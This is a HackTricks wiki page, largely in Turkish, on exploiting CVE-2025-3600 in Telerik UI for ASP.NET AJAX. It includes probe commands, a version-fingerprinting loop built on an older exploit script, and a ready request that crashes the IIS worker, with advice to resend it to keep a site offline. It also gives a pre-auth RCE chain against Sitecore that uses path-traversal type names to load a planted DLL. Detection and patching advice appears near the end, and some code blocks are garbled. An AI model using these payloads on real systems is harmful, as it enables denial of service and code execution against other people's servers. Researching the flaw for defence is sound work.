Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Telerik UI for ASP.NET AJAX Image Editor cache handler’da pre‑auth constructor çalıştırılması, evrensel DoS’a yol açar ve birçok uygulamada hedefe‑özel gadget’lar aracılığıyla pre‑auth RCE’ye neden olabilir (CVE-2025-3600).
TL;DR
- Etkilenen bileşen/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Birçok üründe pre‑auth olarak açığa çıkıyor.
- Primitive: Saldırgan bir type name (prtype) kontrol eder. Handler bunu Type.GetType() ile çözümler ve interface tip‑güvenliği doğrulanmadan önce Activator.CreateInstance() çağırır. Herhangi bir public parametresiz .NET type constructor çalışacaktır.
- Etkiler:
- Evrensel pre‑auth DoS bir .NET framework gadget’ı ile (PowerShell WSMan finalizer).
- Gerçek dağıtımlarda, uygulamaya‑özgü gadget’ların kötüye kullanılması — özellikle güvenli olmayan AppDomain.AssemblyResolve handler’ları — sıklıkla pre‑auth RCE’ye yükselir.
- Çözüm: Telerik UI for ASP.NET AJAX 2025.1.416+ sürümüne güncelleyin veya handler’ı kaldırın/kilitleyin.
Affected versions
- Telerik UI for ASP.NET AJAX sürümleri 2011.2.712 ile 2025.1.218 (dahil) arası etkilenmektedir.
- 2025.1.416’da düzeltildi (yayın: 2025-04-29). Derhal yama yapın veya handler’ı kaldırın/kilitleyin.
Affected surface and quick discovery
- Erişilebilirliği kontrol edin:
- GET /Telerik.Web.UI.WebResource.axd, handler bağlıysa 404/403 dışında bir şey döndürmelidir.
- Telerik.Web.UI.WebResource.axd’ye eşlenen handler’lar için web.config’i inceleyin.
- Telerik string’lerini
/veya giriş sayfalarında bulmaya güvenmeyin. Sitecore gibi gerçek ürünler, handler’ı varsayılan HTML’de referans vermeden açığa çıkarabilir. - Zayıf kod yolunu tetiklemek için: type=iec, dkey=1 ve prtype=
gerekir.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notlar
- Bazı PoCs dtype kullanır; uygulama download flow için dkey==“1” olup olmadığını kontrol eder.
- prtype assembly-qualified olmalı veya mevcut AppDomain içinde çözülebilir.
Kullanışlı code/ops kontrolleri
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Legacy kurulumlarda hızlı sürüm tespiti
Eğer aynı uygulama aynı zamanda legacy type=rau handlerını da açığa çıkarıyorsa, eski Telerik araçları type=iecaraştırmasına başlamadan önce paylaşılanTelerik.Web.UI.dllsürümünün parmak izini almak için hâlâ işe yarayabilir. Bu, CVE-2025-3600'ü doğrudan istismar etmez; sadecerauveiec`’in aynı assembly içinde bulunduğu gerçeğini yeniden kullanır.
Pratik kullanım:
- Eğer
type=rauerişilebilirse, doğruTelerik.Web.UIassembly sürümünü tespit etmek için eski RAU araçlarındaki klasik major-version brute force’u kullanın. - Elde edilen sürümü etkilenebilir aralık (
2011.2.712ile2025.1.218) ve düzeltilmiş build (2025.1.416+) ile karşılaştırın. type=rauyokluğunu kesin sonuç saymayın.iec,raudevre dışı bırakılmış veya filtrelenmiş olsa bile hâlâ açığa çıkmış olabilir.
Örnek legacy CVE-2019-18935.py yardımcı aracıyla:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Why this helps:
- Kurumsal uygulamalar genellikle yıllarca güncellenmemiş Telerik sürümlerini paket halinde getirir.
- Red teams “handler exposed” ile “likely still on a vulnerable DLL” arasındaki farkı hızla ayırt edebilir.
- Incident response sırasında, aynı yöntem filesystem erişimi hemen mümkün olmadığında büyük IIS filolarının kapsamını belirlemeye yardımcı olur.
Kök neden – unsafe reflection in ImageEditorCacheHandler
Image Editor cache indirme akışı, prtype ile sağlanan bir tipin örneğini oluşturur ve yalnızca daha sonra bunu ICacheImageProvider’a cast eder ve indirme anahtarını doğrular. Doğrulama başarısız olduğunda yapıcı zaten çalışmış olur.
İlgili decompile edilmiş akış
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Sömürü temel ilkesi: Kontrol edilen type string → Type.GetType bunu çözer → Activator.CreateInstance public parametresiz constructor'ını çalıştırır. İstek daha sonra reddedilse bile, gadget yan etkileri zaten oluşmuştur.
## Evrensel DoS gadget (uygulamaya özgü gadget gerekmez)
Sınıf: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) bir finalizer içerir; bu finalizer başlatılmamış bir handle'ı dispose eder ve GC onu finalize ettiğinde yakalanmamış bir istisna oluşmasına neden olur. Bu, örneklemeden kısa süre sonra IIS worker process'ini güvenilir şekilde çökertecektir.
Tek seferlik DoS isteği:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- Siteyi çevrimdışı tutmak için periyodik olarak göndermeye devam edin. Bir debugger’da constructor’ın tetiklendiğini gözlemleyebilirsiniz; çökme finalization sırasında gerçekleşir.
DoS’den RCE’ye – yükseltme desenleri
Güvensiz constructor execution, birçok hedefe özgü gadgets ve chains’in kilidini açar. Aşağıdakileri ara:
- Parameterless constructors that process attacker input
- Bazı ctors (veya static initializers) hemen Request query/body/cookies/headers’ı okur ve onları (de)serialize eder.
- Örnek (Sitecore): bir ctor chain’i GetLayoutDefinition()’a ulaşır; bu, HTTP body’deki “layout“u okur ve JSON.NET aracılığıyla JSON’ı deserialize eder.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk, eğer bu path’lere (uploads/temp/data folders) yazabiliyorsanız coerced edilebilir.
- Constructors performing app-specific ops
- Durumu sıfırlama, modülleri açıp kapama veya süreçleri sonlandırma gibi işlemler.
- Constructors/static ctors that register AppDomain event handlers
- Birçok uygulama, args.Name’den DLL path’leri oluşturan ve sanitization yapmayan AppDomain.CurrentDomain.AssemblyResolve handler’ları ekler. Eğer type resolution’ı etkileyebiliyorsanız, attacker‑controlled path’lerden arbitrary DLL yüklemelerini zorlayabilirsiniz.
- Forcing AssemblyResolve via Type.GetType
- Var olmayan bir type’ı request ederek CLR resolution’ı zorlayın ve kayıtlı (muhtemelen insecure) resolver’ları invoke edin. Örnek assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Yıkıcı yan etkilere sahip finalizer’lar
- Bazı tipler finalizer’larda sabit-yol dosyalarını siler. link-following veya öngörülebilir yollarla birleştiğinde bu, bazı ortamlarda local privilege escalation’a olanak sağlayabilir.
Örnek pre‑auth RCE zinciri (Sitecore XP)
- Adım 1 – Pre‑auth: static/instance ctor’u, güvensiz bir AssemblyResolve handler kaydeden bir tipi tetikleyin (ör. ControlFactory içindeki Sitecore’ın FolderControlSource’u).
- Adım 2 – Post‑auth: resolver-probed dizinine yazma izni elde edin (ör. bir auth bypass veya weak upload yoluyla) ve kötü amaçlı bir DLL yerleştirin.
- Adım 3 – Pre‑auth: CVE‑2025‑3600’ü var olmayan bir type ve traversal‑laden assembly name ile kullanarak resolver’ı eklediğiniz DLL’i yüklemeye zorlayın → IIS worker olarak code execution.
Tetikleme örnekleri
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Doğrulama, avlama ve DFIR notları
- Güvenli lab doğrulaması: DoS payload’u çalıştırın ve WSMan finalizer’ına bağlı app pool recycle / unhandled exception’ı gözleyin.
- Telemetride avlama:
- type=iec ve anormal prtype değerleri ile /Telerik.Web.UI.WebResource.axd istekleri.
- Başarısız type yüklemeleri ve AppDomain.AssemblyResolve olayları.
- Bu tür istekleri takiben ani w3wp.exe çökmesi/yeniden başlatılmaları.
Önlemler
- Telerik UI for ASP.NET AJAX’ı 2025.1.416 veya daha yeni bir sürüme güncelleyin.
- Mümkünse Telerik.Web.UI.WebResource.axd’nin erişimini kaldırın veya kısıtlayın (WAF/rewrites).
- prtype işleyişini server tarafında yok sayın veya sertleştirin (güncelleme, örnekleme öncesi uygun kontrolleri uygular).
- Özelleştirilmiş AppDomain.AssemblyResolve handler’larını denetleyin ve güçlendirin. args.Name’den path oluştururken sanitizasyon yapmadan kaçının; strong-named yüklemeleri veya beyaz listeleri tercih edin.
- Yükleme/yazma konumlarını kısıtlayın ve DLL’lerin taranan dizinlere bırakılmasını önleyin.
- Resolver kötüye kullanımını yakalamak için var olmayan type yükleme denemelerini izleyin.
Hızlı başvuru
- Varlık kontrolü:
- GET /Telerik.Web.UI.WebResource.axd
- web.config içinde handler mapping’e bakın
- Exploit iskeleti:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Evrensel DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Tetikleyici çözücü:
This.Class.Does.Not.Exist, watchTowr
İlgili teknikler
- IIS post-exploitation, .NET key extraction ve in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization ve machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Referanslar
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


